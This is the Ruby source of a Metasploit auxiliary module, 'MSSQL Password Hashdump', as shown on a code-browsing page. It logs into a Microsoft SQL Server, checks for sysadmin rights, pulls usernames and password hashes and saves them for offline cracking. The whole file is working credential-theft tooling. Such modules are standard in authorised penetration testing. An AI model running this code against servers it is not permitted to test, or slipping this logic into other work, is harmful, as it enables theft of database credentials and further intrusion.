Path: blob/master/modules/auxiliary/scanner/mssql/mssql_hashdump.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner9include Msf::OptionalSession::MSSQL1011def initialize12super(13'Name' => 'MSSQL Password Hashdump',14'Description' => %Q{15This module extracts the usernames and encrypted password16hashes from a MSSQL server and stores them for later cracking.17This module also saves information about the server version and18table names, which can be used to seed the wordlist.19},20'Author' => ['theLightCosine'],21'License' => MSF_LICENSE22)23end2425def run_host(ip)26if session27set_mssql_session(session.client)28elsif !mssql_login(datastore['USERNAME'], datastore['PASSWORD'])29info = self.mssql_client.initial_connection_info30if info[:errors] && !info[:errors].empty?31info[:errors].each do |err|32print_error(err)33end34end35return36end3738service_data = {39address: ip,40port: mssql_client.peerport,41service_name: 'mssql',42protocol: 'tcp',43workspace_id: myworkspace_id44}4546credential_data = {47module_fullname: self.fullname,48origin_type: :service,49private_data: datastore['PASSWORD'],50private_type: :password,51username: datastore['USERNAME']52}5354if datastore['USE_WINDOWS_AUTHENT']55credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN56credential_data[:realm_value] = datastore['DOMAIN']57end58credential_data.merge!(service_data)5960credential_core = create_credential(credential_data)6162login_data = {63core: credential_core,64last_attempted_at: DateTime.now,65status: Metasploit::Model::Login::Status::SUCCESSFUL66}67login_data.merge!(service_data)6869is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]7071unless is_sysadmin == 072login_data[:access_level] = 'admin'73end7475create_credential_login(login_data)7677# Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)78instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')79instancename = instance_info[1] || instance_info[0]80print_status("Instance Name: #{instancename.inspect}")81version = mssql_query(mssql_sql_info())[:rows][0][0]82version_year = version.split('-')[0].slice(/\d\d\d\d/)8384unless is_sysadmin == 085mssql_hashes = mssql_hashdump(version_year)86unless mssql_hashes.nil? || mssql_hashes.empty?87report_hashes(mssql_hashes, version_year)88end89end90end9192# Stores the grabbed hashes as loot for later cracking93# The hash format is slightly different between 2k and 2k5/2k894def report_hashes(mssql_hashes, version_year)95case version_year96when "2000"97hashtype = "mssql"98when "2005", "2008"99hashtype = "mssql05"100else101hashtype = "mssql12"102end103104this_service = report_service(105:host => mssql_client.peerhost,106:port => mssql_client.peerport,107:name => 'mssql',108:proto => 'tcp'109)110111service_data = {112address: ::Rex::Socket.getaddress(mssql_client.peerhost, true),113port: mssql_client.peerport,114service_name: 'mssql',115protocol: 'tcp',116workspace_id: myworkspace_id117}118119mssql_hashes.each do |row|120next if row[0].nil? or row[1].nil?121next if row[0].empty? or row[1].empty?122123username = row[0]124upcase_hash = "0x#{row[1].upcase}"125126credential_data = {127module_fullname: self.fullname,128origin_type: :service,129private_type: :nonreplayable_hash,130private_data: upcase_hash,131username: username,132jtr_format: hashtype133}134135credential_data.merge!(service_data)136137credential_core = create_credential(credential_data)138139login_data = {140core: credential_core,141status: Metasploit::Model::Login::Status::UNTRIED142}143144login_data.merge!(service_data)145login = create_credential_login(login_data)146147print_good("Saving #{hashtype} = #{username}:#{upcase_hash}")148end149end150151# Grabs the user tables depending on what Version of MSSQL152# The queries are different between 2k and 2k/2k8153def mssql_hashdump(version_year)154is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]155156if is_sysadmin == 0157print_error("The provided credentials do not have privileges to read the password hashes")158return nil159end160161case version_year162when "2000"163results = mssql_query(mssql_2k_password_hashes())[:rows]164else165results = mssql_query(mssql_2k5_password_hashes())[:rows]166end167168return results169end170end171172173